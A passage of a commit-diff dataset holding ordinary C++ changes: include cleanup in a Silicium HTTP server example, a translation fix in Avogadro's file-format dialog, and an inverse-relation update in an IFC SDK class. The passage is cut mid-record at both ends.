return;\n    }\n\n    for ( auto iter = _meshes.begin(); iter != _meshes.end(); ++iter )\n    {\n        iter->render( shader );\n    }\n}\n\nvoid Model::remove()\n{\n    if ( !isOnGpu() )\n    {\n        return;\n    }\n\n    for ( auto iter = _meshes.begin(); iter != _meshes.end(); ++iter )\n    {\n        iter->remove();\n    }\n\n    _isOnGpu = false;\n}\n\n} \/\/ End nspc rndr\n\n} \/\/ End nspc demo<|endoftext|>"}
{"text":"<commit_before>#include <silicium\/http\/http.hpp>\n#include <silicium\/http\/receive_request.hpp>\n#include <silicium\/asio\/tcp_acceptor.hpp>\n#include <silicium\/asio\/writing_observable.hpp>\n#include <silicium\/observable\/transform.hpp>\n#include <silicium\/observable\/spawn_coroutine.hpp>\n#include <silicium\/observable\/coroutine.hpp>\n#include <silicium\/observable\/constant.hpp>\n#include <silicium\/observable\/spawn_observable.hpp>\n#include <silicium\/sink\/iterator_sink.hpp>\n#include <silicium\/memory_range.hpp>\n\ntemplate <class YieldContext>\nvoid serve_client(boost::asio::ip::tcp::socket &client, YieldContext &&yield)\n{\n\tauto request = Si::http::receive_request(client, yield);\n\tif (request.is_error())\n\t{\n\t\t\/\/The header was incomplete, maybe the connecting was closed.\n\t\t\/\/If we want to know the reason, the error_extracting_source remembered it:\n\t\tboost::system::error_code error = request.error();\n\t\tboost::ignore_unused_variable_warning(error);\n\t\treturn;\n\t}\n\n\tif (!request.get())\n\t{\n\t\t\/\/syntax error in the request\n\t\treturn;\n\t}\n\n\tstd::vector<char> response;\n\t{\n\t\tauto response_writer = Si::make_container_sink(response);\n\t\tSi::http::generate_status_line(response_writer, \"HTTP\/1.0\", \"200\", \"OK\");\n\t\tstd::string const content = \"Hello\";\n\t\tSi::http::generate_header(response_writer, \"Content-Length\", boost::lexical_cast<Si::noexcept_string>(content.size()));\n\t\tSi::append(response_writer, \"\\r\\n\");\n\t\tSi::append(response_writer, content);\n\t}\n\n\t\/\/you can handle the error if you want\n\tboost::system::error_code error = Si::asio::write(client, Si::make_memory_range(response), yield);\n\n\t\/\/ignore shutdown failures, they do not matter here\n\tclient.shutdown(boost::asio::ip::tcp::socket::shutdown_both, error);\n}\n\nint main()\n{\n\tboost::asio::io_service io;\n\tboost::asio::ip::tcp::acceptor acceptor(io, boost::asio::ip::tcp::endpoint(boost::asio::ip::address_v4(), 8080));\n\tSi::spawn_observable(\n\t\tSi::transform(\n\t\t\tSi::asio::make_tcp_acceptor(&acceptor),\n\t\t\t[](Si::asio::tcp_acceptor_result maybe_client)\n\t\t\t{\n\t\t\t\tauto client = maybe_client.get();\n\t\t\t\tSi::spawn_coroutine([client](Si::spawn_context yield)\n\t\t\t\t{\n\t\t\t\t\tserve_client(*client, yield);\n\t\t\t\t});\n\t\t\t\treturn Si::nothing();\n\t\t\t}\n\t\t)\n\t);\n\tio.run();\n}\n<commit_msg>remove unused includes<commit_after>#include <silicium\/http\/receive_request.hpp>\n#include <silicium\/http\/generate_response.hpp>\n#include <silicium\/asio\/writing_observable.hpp>\n#include <silicium\/asio\/tcp_acceptor.hpp>\n#include <silicium\/observable\/transform.hpp>\n#include <silicium\/observable\/spawn_coroutine.hpp>\n#include <silicium\/observable\/spawn_observable.hpp>\n#include <silicium\/sink\/iterator_sink.hpp>\n\ntemplate <class YieldContext>\nvoid serve_client(boost::asio::ip::tcp::socket &client, YieldContext &&yield)\n{\n\tauto request = Si::http::receive_request(client, yield);\n\tif (request.is_error())\n\t{\n\t\t\/\/The header was incomplete, maybe the connecting was closed.\n\t\t\/\/If we want to know the reason, the error_extracting_source remembered it:\n\t\tboost::system::error_code error = request.error();\n\t\tboost::ignore_unused_variable_warning(error);\n\t\treturn;\n\t}\n\n\tif (!request.get())\n\t{\n\t\t\/\/syntax error in the request\n\t\treturn;\n\t}\n\n\tstd::vector<char> response;\n\t{\n\t\tauto response_writer = Si::make_container_sink(response);\n\t\tSi::http::generate_status_line(response_writer, \"HTTP\/1.0\", \"200\", \"OK\");\n\t\tstd::string const content = \"Hello\";\n\t\tSi::http::generate_header(response_writer, \"Content-Length\", boost::lexical_cast<Si::noexcept_string>(content.size()));\n\t\tSi::append(response_writer, \"\\r\\n\");\n\t\tSi::append(response_writer, content);\n\t}\n\n\t\/\/you can handle the error if you want\n\tboost::system::error_code error = Si::asio::write(client, Si::make_memory_range(response), yield);\n\n\t\/\/ignore shutdown failures, they do not matter here\n\tclient.shutdown(boost::asio::ip::tcp::socket::shutdown_both, error);\n}\n\nint main()\n{\n\tboost::asio::io_service io;\n\tboost::asio::ip::tcp::acceptor acceptor(io, boost::asio::ip::tcp::endpoint(boost::asio::ip::address_v4(), 8080));\n\tSi::spawn_observable(\n\t\tSi::transform(\n\t\t\tSi::asio::make_tcp_acceptor(&acceptor),\n\t\t\t[](Si::asio::tcp_acceptor_result maybe_client)\n\t\t\t{\n\t\t\t\tauto client = maybe_client.get();\n\t\t\t\tSi::spawn_coroutine([client](Si::spawn_context yield)\n\t\t\t\t{\n\t\t\t\t\tserve_client(*client, yield);\n\t\t\t\t});\n\t\t\t\treturn Si::nothing();\n\t\t\t}\n\t\t)\n\t);\n\tio.run();\n}\n<|endoftext|>"}
{"text":"<commit_before>\/******************************************************************************\n  This source file is part of the Avogadro project.\n  This source code is released under the 3-Clause BSD License, (see \"LICENSE\").\n******************************************************************************\/\n\n#include \"fileformatdialog.h\"\n\n#include <avogadro\/core\/molecule.h>\n#include <avogadro\/io\/fileformatmanager.h>\n\n#include <QtWidgets\/QInputDialog>\n#include <QtWidgets\/QMessageBox>\n\n#include <QtCore\/QSettings>\n\n#include <vector>\n\nusing Avogadro::Io::FileFormat;\nusing Avogadro::Io::FileFormatManager;\nusing std::vector;\n\nnamespace Avogadro::QtGui {\n\nFileFormatDialog::FileFormatDialog(QWidget* parentW) : QFileDialog(parentW) {}\n\nFileFormatDialog::~FileFormatDialog() {}\n\nFileFormatDialog::FormatFilePair FileFormatDialog::fileToRead(\n  QWidget* parent, const QString& caption, const QString& dir,\n  const QString& filter)\n{\n  FormatFilePair result(nullptr, QString());\n  \/\/ Use the default read filter if none specified:\n  const QString realFilter = filter.isEmpty() ? readFileFilter() : filter;\n\n  bool done = false;\n  do { \/\/ jump point for continue statements on retry\n    QString fileName =\n      QFileDialog::getOpenFileName(parent, caption, dir, realFilter);\n\n    if (fileName.isEmpty()) \/\/ user cancel\n      return result;\n\n    const Io::FileFormat* format = findFileFormat(\n      parent, caption, fileName, FileFormat::File | FileFormat::Read);\n\n    \/\/ If none found, give user the option to retry.\n    if (!format) {\n      QMessageBox::StandardButton reply = QMessageBox::question(\n        parent, caption,\n        tr(\"Unable to find a suitable file reader for \"\n           \"the selected file.\"),\n        QMessageBox::Abort | QMessageBox::Retry, QMessageBox::Retry);\n      switch (reply) {\n        default:\n        case QMessageBox::Retry:\n          continue;\n        case QMessageBox::Abort:\n          return result;\n      }\n    }\n\n    result.first = format;\n    result.second = fileName;\n    done = true;\n\n  } while (!done);\n\n  return result;\n}\n\nFileFormatDialog::FormatFilePair FileFormatDialog::fileToWrite(\n  QWidget* parentWidget, const QString& caption, const QString& dir,\n  const QString& filter)\n{\n  FormatFilePair result(nullptr, QString());\n  \/\/ Use the default read filter if none specified:\n  const QString realFilter = filter.isEmpty() ? writeFileFilter() : filter;\n\n  QString fileName;\n  do { \/\/ jump point for continue statements on retry\n    fileName =\n      QFileDialog::getSaveFileName(parentWidget, caption, dir, realFilter);\n\n    if (fileName.isEmpty()) \/\/ user cancel\n      return result;\n\n    const Io::FileFormat* format = findFileFormat(\n      parentWidget, caption, fileName, FileFormat::File | FileFormat::Write);\n\n    \/\/ If none found, give user the option to retry.\n    if (!format) {\n      QString extension = QFileInfo(fileName).suffix().toLower();\n\n      if (extension.isEmpty()) {\n        QMessageBox::StandardButton reply = QMessageBox::question(\n          parentWidget, caption,\n          tr(\n            \"The file extension is missing, so the format cannot be determined.\"\n            \"Do you want to add it?\"),\n          QMessageBox::Abort | QMessageBox::Retry, QMessageBox::Retry);\n        switch (reply) {\n          default:\n          case QMessageBox::Retry:\n            continue;\n          case QMessageBox::Abort:\n            return result;\n        }\n      }\n\n      QMessageBox::StandardButton reply = QMessageBox::question(\n        parentWidget, caption,\n        tr(\"Unable to find a suitable file writer for \"\n           \"the selected format.\"),\n        QMessageBox::Abort | QMessageBox::Retry, QMessageBox::Retry);\n      switch (reply) {\n        default:\n        case QMessageBox::Retry:\n          continue;\n        case QMessageBox::Abort:\n          return result;\n      }\n    }\n\n    result.first = format;\n    result.second = fileName;\n\n  } while (fileName.isEmpty());\n\n  return result;\n}\n\nconst Io::FileFormat* FileFormatDialog::findFileFormat(\n  QWidget* parentWidget, const QString& caption, const QString& fileName,\n  const FileFormat::Operations formatFlags, const QString& formatPrefix)\n{\n  if (fileName.isEmpty())\n    return nullptr;\n\n  \/\/ Extract extension from filename.\n  QFileInfo fileInfo(fileName);\n  QString extension = fileInfo.suffix();\n  if (extension.isEmpty())\n    extension = fileInfo.fileName();\n\n  \/\/ Lookup matching file formats.\n  vector<const FileFormat*> matches(\n    FileFormatManager::instance().fileFormatsFromFileExtension(\n      extension.toStdString(), formatFlags));\n\n  \/\/ Prepare the strings for selectFileFormat:\n  QString noun;\n  QString verb;\n  QString key;\n\n  \/\/ TODO: This does not work for translation...\n  \/\/  particularly since len(matches) is known\n  if ((formatFlags & FileFormat::Read && formatFlags & FileFormat::Write) ||\n      ((formatFlags & FileFormat::Read) == 0 &&\n       (formatFlags & FileFormat::Write) == 0)) {\n    \/\/ Both or neither read\/write\n    noun = tr(\"handlers\", \"File handlers\");\n    verb = tr(\"handle\", \"e.g. file handlers that can 'handle' this file.\");\n    key = QLatin1String(\"fileToWrite\"); \/\/ Just use the write settings\n  } else if (formatFlags & FileFormat::Read) {\n    \/\/ Read\n    noun = tr(\"readers\", \"File readers\");\n    verb = tr(\"read\", \"e.g. file readers that can 'read' this file.\");\n    key = QLatin1String(\"fileToRead\");\n  } else if (formatFlags & FileFormat::Write) {\n    \/\/ Write\n    noun = tr(\"writers\", \"File writers\");\n    verb = tr(\"write\", \"e.g. file writers that can 'write' this file.\");\n    key = QLatin1String(\"fileToWrite\");\n  }\n\n  return selectFileFormat(parentWidget, matches, caption,\n                          tr(\"Multiple %1 found that can %2 this format. \"\n                             \"Which should be used?\")\n                            .arg(noun, verb),\n                          QString(\"FileFormatDialog\/%1\/%2\"\n                                  \"\/lastUsed\")\n                            .arg(key, extension),\n                          formatPrefix);\n}\n\nQString FileFormatDialog::readFileFilter()\n{\n  static QString readFilter;\n  if (readFilter.isEmpty()) {\n    vector<const FileFormat*> formats =\n      FileFormatManager::instance().fileFormats(FileFormat::Read |\n                                                FileFormat::File);\n\n    readFilter = generateFilterString(formats, AllFiles | AllFormats);\n  }\n\n  return readFilter;\n}\n\nQString FileFormatDialog::writeFileFilter()\n{\n  static QString writeFilter;\n  if (writeFilter.isEmpty()) {\n    vector<const FileFormat*> formats =\n      FileFormatManager::instance().fileFormats(FileFormat::Write |\n                                                FileFormat::File);\n\n    writeFilter = generateFilterString(formats, WriteFormats | AllFiles);\n  }\n\n  return writeFilter;\n}\n\nQString FileFormatDialog::generateFilterString(\n  const std::vector<const Io::FileFormat*>& ffs,\n  FileFormatDialog::FilterStringOptions options)\n{\n  QString filterString;\n  \/\/ Create a map that groups the file extensions by name:\n  QMap<QString, QString> formatMap;\n  for (auto ff : ffs) {\n    QString name(QString::fromStdString(ff->name()));\n    std::vector<std::string> exts = ff->fileExtensions();\n    for (auto & eit : exts) {\n      QString ext(QString::fromStdString(eit));\n      if (!formatMap.values(name).contains(ext)) {\n        formatMap.insertMulti(name, ext);\n      }\n    }\n  }\n\n  \/\/ This is a list of \"extensions\" returned by OB that are not actually\n  \/\/ file extensions, but rather the full filename of the file. These\n  \/\/ will be used as-is in the filter string, while others will be prepended\n  \/\/ with \"*.\".\n  QStringList nonExtensions;\n  nonExtensions << QStringLiteral(\"POSCAR\")  \/\/ VASP input geometry\n                << QStringLiteral(\"CONTCAR\") \/\/ VASP output geometry\n                << QStringLiteral(\"HISTORY\") \/\/ DL-POLY history file\n                << QStringLiteral(\"CONFIG\")  \/\/ DL-POLY config file\n    ;\n\n  \/\/ This holds all known extensions:\n  QStringList allExtensions;\n\n  foreach (const QString& desc, formatMap.uniqueKeys()) {\n    QStringList extensions;\n    QStringList formatExtensions = formatMap.values(desc);\n\n    \/\/ When writing formats, only list one common extension\n    \/\/ .. to ensure the OS appends the extension to the filename\n    if (options & WriteFormats) {\n      if (formatExtensions.contains(QStringLiteral(\"cml\")))\n        formatExtensions = QStringList(\"cml\");\n      else if (formatExtensions.contains(QStringLiteral(\"mol2\")))\n        formatExtensions = QStringList(\"mol2\");\n      else if (formatExtensions.contains(QStringLiteral(\"pdb\")))\n        formatExtensions = QStringList(\"pdb\");\n      else if (formatExtensions.contains(QStringLiteral(\"sdf\")))\n        formatExtensions = QStringList(\"sdf\");\n      else if (formatExtensions.contains(QStringLiteral(\"xyz\")))\n        formatExtensions = QStringList(\"xyz\");\n    }\n\n    foreach (QString extension, formatExtensions) {\n      if (!nonExtensions.contains(extension))\n        extension.prepend(\"*.\");\n      extensions << extension;\n    }\n    if (options & AllFormats)\n      allExtensions << extensions;\n    filterString += QStringLiteral(\"%1 (%2);;\")\n                      .arg(desc, extensions.join(QStringLiteral(\" \")));\n  }\n\n  if (options & AllFiles)\n    filterString.prepend(tr(\"All files (*);;\"));\n\n  if (options & AllFormats) {\n    filterString.prepend(tr(\"All supported formats (%1);;\")\n                           .arg(allExtensions.join(QStringLiteral(\" \"))));\n  }\n\n  return filterString;\n}\n\nconst Io::FileFormat* FileFormatDialog::selectFileFormat(\n  QWidget* parentWidget, const std::vector<const Io::FileFormat*>& ffs,\n  const QString& caption, const QString& prompt, const QString& settingsKey,\n  const QString& formatPrefix)\n{\n  if (ffs.empty())\n    return nullptr;\n  else if (ffs.size() == 1)\n    return ffs[0];\n\n  \/\/ If more than one format found, prompt user to select one.\n  QStringList idents;\n  for (auto ff : ffs) {\n    idents << QString::fromStdString(ff->identifier());\n  }\n\n  \/\/ If there is a format prefix, see if that can reduce the results down.\n  QStringList preferred;\n  foreach (const QString& id, idents)\n    if (id.startsWith(formatPrefix))\n      preferred << id;\n  if (preferred.size() == 1)\n    return ffs[idents.indexOf(preferred.first())];\n\n  \/\/ See if they used one before:\n  QString lastIdent = settingsKey.isNull()\n                        ? QString()\n                        : QSettings().value(settingsKey).toString();\n\n  int lastIdentIndex = idents.indexOf(lastIdent);\n  if (lastIdentIndex < 0)\n    lastIdentIndex = 0;\n\n  bool ok;\n  QString item = QInputDialog::getItem(parentWidget, caption, prompt, idents,\n                                       lastIdentIndex, false, &ok);\n  int index = idents.indexOf(item);\n\n  \/\/ user cancel\n  if (!ok || index < 0 || index + 1 > static_cast<int>(ffs.size()))\n    return nullptr;\n\n  \/\/ Store chosen reader for next time\n  if (!settingsKey.isNull())\n    QSettings().setValue(settingsKey, item);\n\n  return ffs[index];\n}\n\n} \/\/ namespace Avogadro\n<commit_msg>Fix mis-translated export dialog (#1133)<commit_after>\/******************************************************************************\n  This source file is part of the Avogadro project.\n  This source code is released under the 3-Clause BSD License, (see \"LICENSE\").\n******************************************************************************\/\n\n#include \"fileformatdialog.h\"\n\n#include <avogadro\/core\/molecule.h>\n#include <avogadro\/io\/fileformatmanager.h>\n\n#include <QtWidgets\/QInputDialog>\n#include <QtWidgets\/QMessageBox>\n\n#include <QtCore\/QSettings>\n\n#include <vector>\n\nusing Avogadro::Io::FileFormat;\nusing Avogadro::Io::FileFormatManager;\nusing std::vector;\n\nnamespace Avogadro::QtGui {\n\nFileFormatDialog::FileFormatDialog(QWidget* parentW) : QFileDialog(parentW) {}\n\nFileFormatDialog::~FileFormatDialog() {}\n\nFileFormatDialog::FormatFilePair FileFormatDialog::fileToRead(\n  QWidget* parent, const QString& caption, const QString& dir,\n  const QString& filter)\n{\n  FormatFilePair result(nullptr, QString());\n  \/\/ Use the default read filter if none specified:\n  const QString realFilter = filter.isEmpty() ? readFileFilter() : filter;\n\n  bool done = false;\n  do { \/\/ jump point for continue statements on retry\n    QString fileName =\n      QFileDialog::getOpenFileName(parent, caption, dir, realFilter);\n\n    if (fileName.isEmpty()) \/\/ user cancel\n      return result;\n\n    const Io::FileFormat* format = findFileFormat(\n      parent, caption, fileName, FileFormat::File | FileFormat::Read);\n\n    \/\/ If none found, give user the option to retry.\n    if (!format) {\n      QMessageBox::StandardButton reply = QMessageBox::question(\n        parent, caption,\n        tr(\"Unable to find a suitable file reader for \"\n           \"the selected file.\"),\n        QMessageBox::Abort | QMessageBox::Retry, QMessageBox::Retry);\n      switch (reply) {\n        default:\n        case QMessageBox::Retry:\n          continue;\n        case QMessageBox::Abort:\n          return result;\n      }\n    }\n\n    result.first = format;\n    result.second = fileName;\n    done = true;\n\n  } while (!done);\n\n  return result;\n}\n\nFileFormatDialog::FormatFilePair FileFormatDialog::fileToWrite(\n  QWidget* parentWidget, const QString& caption, const QString& dir,\n  const QString& filter)\n{\n  FormatFilePair result(nullptr, QString());\n  \/\/ Use the default read filter if none specified:\n  const QString realFilter = filter.isEmpty() ? writeFileFilter() : filter;\n\n  QString fileName;\n  do { \/\/ jump point for continue statements on retry\n    fileName =\n      QFileDialog::getSaveFileName(parentWidget, caption, dir, realFilter);\n\n    if (fileName.isEmpty()) \/\/ user cancel\n      return result;\n\n    const Io::FileFormat* format = findFileFormat(\n      parentWidget, caption, fileName, FileFormat::File | FileFormat::Write);\n\n    \/\/ If none found, give user the option to retry.\n    if (!format) {\n      QString extension = QFileInfo(fileName).suffix().toLower();\n\n      if (extension.isEmpty()) {\n        QMessageBox::StandardButton reply = QMessageBox::question(\n          parentWidget, caption,\n          tr(\n            \"The file extension is missing, so the format cannot be determined.\"\n            \"Do you want to add it?\"),\n          QMessageBox::Abort | QMessageBox::Retry, QMessageBox::Retry);\n        switch (reply) {\n          default:\n          case QMessageBox::Retry:\n            continue;\n          case QMessageBox::Abort:\n            return result;\n        }\n      }\n\n      QMessageBox::StandardButton reply = QMessageBox::question(\n        parentWidget, caption,\n        tr(\"Unable to find a suitable file writer for \"\n           \"the selected format.\"),\n        QMessageBox::Abort | QMessageBox::Retry, QMessageBox::Retry);\n      switch (reply) {\n        default:\n        case QMessageBox::Retry:\n          continue;\n        case QMessageBox::Abort:\n          return result;\n      }\n    }\n\n    result.first = format;\n    result.second = fileName;\n\n  } while (fileName.isEmpty());\n\n  return result;\n}\n\nconst Io::FileFormat* FileFormatDialog::findFileFormat(\n  QWidget* parentWidget, const QString& caption, const QString& fileName,\n  const FileFormat::Operations formatFlags, const QString& formatPrefix)\n{\n  if (fileName.isEmpty())\n    return nullptr;\n\n  \/\/ Extract extension from filename.\n  QFileInfo fileInfo(fileName);\n  QString extension = fileInfo.suffix();\n  if (extension.isEmpty())\n    extension = fileInfo.fileName();\n\n  \/\/ Lookup matching file formats.\n  vector<const FileFormat*> matches(\n    FileFormatManager::instance().fileFormatsFromFileExtension(\n      extension.toStdString(), formatFlags));\n\n  \/\/ Prepare the strings for selectFileFormat:\n  QString noun;\n  QString verb;\n  QString key;\n\n  \/\/ TODO: This does not work for translation...\n  \/\/  particularly since len(matches) is known\n  if ((formatFlags & FileFormat::Read && formatFlags & FileFormat::Write) ||\n      ((formatFlags & FileFormat::Read) == 0 &&\n       (formatFlags & FileFormat::Write) == 0)) {\n    \/\/ Both or neither read\/write\n    noun = tr(\"handlers\", \"File handlers\");\n    verb = tr(\"handle\", \"e.g. file handlers that can 'handle' this file.\");\n    key = QLatin1String(\"fileToWrite\"); \/\/ Just use the write settings\n  } else if (formatFlags & FileFormat::Read) {\n    \/\/ Read\n    noun = tr(\"readers\", \"File readers\");\n    verb = tr(\"read\", \"e.g. file readers that can 'read' this file.\");\n    key = QLatin1String(\"fileToRead\");\n  } else if (formatFlags & FileFormat::Write) {\n    \/\/ Write\n    noun = tr(\"writers\", \"File writers\");\n    verb = tr(\"write\", \"e.g. file writers that can 'write' this file.\");\n    key = QLatin1String(\"fileToWrite\");\n  }\n\n  return selectFileFormat(parentWidget, matches, caption,\n                          tr(\"Multiple %1 found that can %2 this format. \"\n                             \"Which should be used?\")\n                            .arg(noun, verb),\n                          QString(\"FileFormatDialog\/%1\/%2\"\n                                  \"\/lastUsed\")\n                            .arg(key, extension),\n                          formatPrefix);\n}\n\nQString FileFormatDialog::readFileFilter()\n{\n  static QString readFilter;\n  if (readFilter.isEmpty()) {\n    vector<const FileFormat*> formats =\n      FileFormatManager::instance().fileFormats(FileFormat::Read |\n                                                FileFormat::File);\n\n    readFilter = generateFilterString(formats, AllFiles | AllFormats);\n  }\n\n  return readFilter;\n}\n\nQString FileFormatDialog::writeFileFilter()\n{\n  static QString writeFilter;\n  if (writeFilter.isEmpty()) {\n    vector<const FileFormat*> formats =\n      FileFormatManager::instance().fileFormats(FileFormat::Write |\n                                                FileFormat::File);\n\n    writeFilter = generateFilterString(formats, WriteFormats | AllFiles);\n  }\n\n  return writeFilter;\n}\n\nQString FileFormatDialog::generateFilterString(\n  const std::vector<const Io::FileFormat*>& ffs,\n  FileFormatDialog::FilterStringOptions options)\n{\n  QString filterString;\n  \/\/ Create a map that groups the file extensions by name:\n  QMap<QString, QString> formatMap;\n  for (auto ff : ffs) {\n    QString name(QString::fromStdString(ff->name()));\n    std::vector<std::string> exts = ff->fileExtensions();\n    for (auto & eit : exts) {\n      QString ext(QString::fromStdString(eit));\n      if (!formatMap.values(name).contains(ext)) {\n        formatMap.insertMulti(name, ext);\n      }\n    }\n  }\n\n  \/\/ This is a list of \"extensions\" returned by OB that are not actually\n  \/\/ file extensions, but rather the full filename of the file. These\n  \/\/ will be used as-is in the filter string, while others will be prepended\n  \/\/ with \"*.\".\n  QStringList nonExtensions;\n  nonExtensions << QStringLiteral(\"POSCAR\")  \/\/ VASP input geometry\n                << QStringLiteral(\"CONTCAR\") \/\/ VASP output geometry\n                << QStringLiteral(\"HISTORY\") \/\/ DL-POLY history file\n                << QStringLiteral(\"CONFIG\")  \/\/ DL-POLY config file\n    ;\n\n  \/\/ This holds all known extensions:\n  QStringList allExtensions;\n\n  foreach (const QString& desc, formatMap.uniqueKeys()) {\n    QStringList extensions;\n    QStringList formatExtensions = formatMap.values(desc);\n\n    \/\/ When writing formats, only list one common extension\n    \/\/ .. to ensure the OS appends the extension to the filename\n    if (options & WriteFormats) {\n      if (formatExtensions.contains(QStringLiteral(\"cml\")))\n        formatExtensions = QStringList(\"cml\");\n      else if (formatExtensions.contains(QStringLiteral(\"mol2\")))\n        formatExtensions = QStringList(\"mol2\");\n      else if (formatExtensions.contains(QStringLiteral(\"pdb\")))\n        formatExtensions = QStringList(\"pdb\");\n      else if (formatExtensions.contains(QStringLiteral(\"sdf\")))\n        formatExtensions = QStringList(\"sdf\");\n      else if (formatExtensions.contains(QStringLiteral(\"xyz\")))\n        formatExtensions = QStringList(\"xyz\");\n    }\n\n    foreach (QString extension, formatExtensions) {\n      if (!nonExtensions.contains(extension))\n        extension.prepend(\"*.\");\n      extensions << extension;\n    }\n    if (options & AllFormats)\n      allExtensions << extensions;\n    filterString += QStringLiteral(\"%1 (%2);;\")\n                      .arg(desc, extensions.join(QStringLiteral(\" \")));\n  }\n\n  if (options & AllFiles)\n    filterString.prepend(tr(\"All files\") + \" (*);;\");\n\n  if (options & AllFormats) {\n    filterString.prepend((tr(\"All supported formats\") + \" (%1);;\")\n                           .arg(allExtensions.join(QStringLiteral(\" \"))));\n  }\n\n  return filterString;\n}\n\nconst Io::FileFormat* FileFormatDialog::selectFileFormat(\n  QWidget* parentWidget, const std::vector<const Io::FileFormat*>& ffs,\n  const QString& caption, const QString& prompt, const QString& settingsKey,\n  const QString& formatPrefix)\n{\n  if (ffs.empty())\n    return nullptr;\n  else if (ffs.size() == 1)\n    return ffs[0];\n\n  \/\/ If more than one format found, prompt user to select one.\n  QStringList idents;\n  for (auto ff : ffs) {\n    idents << QString::fromStdString(ff->identifier());\n  }\n\n  \/\/ If there is a format prefix, see if that can reduce the results down.\n  QStringList preferred;\n  foreach (const QString& id, idents)\n    if (id.startsWith(formatPrefix))\n      preferred << id;\n  if (preferred.size() == 1)\n    return ffs[idents.indexOf(preferred.first())];\n\n  \/\/ See if they used one before:\n  QString lastIdent = settingsKey.isNull()\n                        ? QString()\n                        : QSettings().value(settingsKey).toString();\n\n  int lastIdentIndex = idents.indexOf(lastIdent);\n  if (lastIdentIndex < 0)\n    lastIdentIndex = 0;\n\n  bool ok;\n  QString item = QInputDialog::getItem(parentWidget, caption, prompt, idents,\n                                       lastIdentIndex, false, &ok);\n  int index = idents.indexOf(item);\n\n  \/\/ user cancel\n  if (!ok || index < 0 || index + 1 > static_cast<int>(ffs.size()))\n    return nullptr;\n\n  \/\/ Store chosen reader for next time\n  if (!settingsKey.isNull())\n    QSettings().setValue(settingsKey, item);\n\n  return ffs[index];\n}\n\n} \/\/ namespace Avogadro\n<|endoftext|>"}
{"text":"<commit_before>\/\/ IFC SDK : IFC2X3 C++ Early Classes  \n\/\/ Copyright (C) 2009 CSTB\n\/\/\n\/\/ This library is free software; you can redistribute it and\/or\n\/\/ modify it under the terms of the GNU Lesser General Public\n\/\/ License as published by the Free Software Foundation; either\n\/\/ version 2.1 of the License, or (at your option) any later version.\n\/\/ The full license is in Licence.txt file included with this \n\/\/ distribution or is available at :\n\/\/     http:\/\/www.gnu.org\/licenses\/old-licenses\/lgpl-2.1.html\n\/\/\n\/\/ This library is distributed in the hope that it will be useful,\n\/\/ but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n\/\/ Lesser General Public License for more details.\n\n#include \"precompiled.h\"\n\n#include <ifc2x3\/IfcTerminatorSymbol.h>\n\n#include <ifc2x3\/CopyOp.h>\n#include <ifc2x3\/IfcAnnotationCurveOccurrence.h>\n#include <ifc2x3\/IfcAnnotationSymbolOccurrence.h>\n#include <ifc2x3\/IfcDimensionCurve.h>\n#include <ifc2x3\/Visitor.h>\n#include <Step\/BaseExpressDataSet.h>\n#include <Step\/BaseObject.h>\n#include <Step\/ClassType.h>\n#include <Step\/Referenced.h>\n#include <Step\/SPFFunctions.h>\n#include <Step\/logger.h>\n\n\n#include <string>\n\nusing namespace ifc2x3;\n\nIfcTerminatorSymbol::IfcTerminatorSymbol(Step::Id id, Step::SPFData *args) : IfcAnnotationSymbolOccurrence(id, args) {\n    m_annotatedCurve = NULL;\n}\n\nIfcTerminatorSymbol::~IfcTerminatorSymbol() {\n}\n\nbool IfcTerminatorSymbol::acceptVisitor(Step::BaseVisitor *visitor) {\n    return static_cast< Visitor * > (visitor)->visitIfcTerminatorSymbol(this);\n}\n\nconst std::string &IfcTerminatorSymbol::type() const {\n    return IfcTerminatorSymbol::s_type.getName();\n}\n\nconst Step::ClassType &IfcTerminatorSymbol::getClassType() {\n    return IfcTerminatorSymbol::s_type;\n}\n\nconst Step::ClassType &IfcTerminatorSymbol::getType() const {\n    return IfcTerminatorSymbol::s_type;\n}\n\nbool IfcTerminatorSymbol::isOfType(const Step::ClassType &t) const {\n    return IfcTerminatorSymbol::s_type == t ? true : IfcAnnotationSymbolOccurrence::isOfType(t);\n}\n\nIfcAnnotationCurveOccurrence *IfcTerminatorSymbol::getAnnotatedCurve() {\n    if (Step::BaseObject::inited()) {\n        return m_annotatedCurve.get();\n    }\n    else {\n        return NULL;\n    }\n}\n\nconst IfcAnnotationCurveOccurrence *IfcTerminatorSymbol::getAnnotatedCurve() const {\n    IfcTerminatorSymbol * deConstObject = const_cast< IfcTerminatorSymbol * > (this);\n    return deConstObject->getAnnotatedCurve();\n}\n\nvoid IfcTerminatorSymbol::setAnnotatedCurve(const Step::RefPtr< IfcAnnotationCurveOccurrence > &value) {\n    if (dynamic_cast< IfcDimensionCurve * > (m_annotatedCurve.get()) != NULL) {\n        ((IfcDimensionCurve *) (m_annotatedCurve.get()))->m_annotatedBySymbols.erase(this);\n    }\n\tm_annotatedCurve = value;\n\tif (dynamic_cast< IfcDimensionCurve * > (m_annotatedCurve.get()) != NULL) {\n        ((IfcDimensionCurve *) (m_annotatedCurve.get()))->m_annotatedBySymbols.insert(this);\n    }\n\n}\n\nvoid IfcTerminatorSymbol::unsetAnnotatedCurve() {\n    m_annotatedCurve = Step::getUnset(getAnnotatedCurve());\n}\n\nbool IfcTerminatorSymbol::testAnnotatedCurve() const {\n    return !Step::isUnset(getAnnotatedCurve());\n}\n\nbool IfcTerminatorSymbol::init() {\n    bool status = IfcAnnotationSymbolOccurrence::init();\n    std::string arg;\n    if (!status) {\n        return false;\n    }\n    arg = m_args->getNext();\n    if (arg == \"$\" || arg == \"*\") {\n        m_annotatedCurve = NULL;\n    }\n    else {\n        m_annotatedCurve = static_cast< IfcAnnotationCurveOccurrence * > (m_expressDataSet->get(Step::getIdParam(arg)));\n    }\n    return true;\n}\n\nvoid IfcTerminatorSymbol::copy(const IfcTerminatorSymbol &obj, const CopyOp &copyop) {\n    IfcAnnotationSymbolOccurrence::copy(obj, copyop);\n    setAnnotatedCurve((IfcAnnotationCurveOccurrence*)copyop(obj.m_annotatedCurve.get()));\n    return;\n}\n\nIFC2X3_EXPORT Step::ClassType IfcTerminatorSymbol::s_type(\"IfcTerminatorSymbol\");\n<commit_msg>also update inverse relation when unsetting value<commit_after>\/\/ IFC SDK : IFC2X3 C++ Early Classes  \n\/\/ Copyright (C) 2009 CSTB\n\/\/\n\/\/ This library is free software; you can redistribute it and\/or\n\/\/ modify it under the terms of the GNU Lesser General Public\n\/\/ License as published by the Free Software Foundation; either\n\/\/ version 2.1 of the License, or (at your option) any later 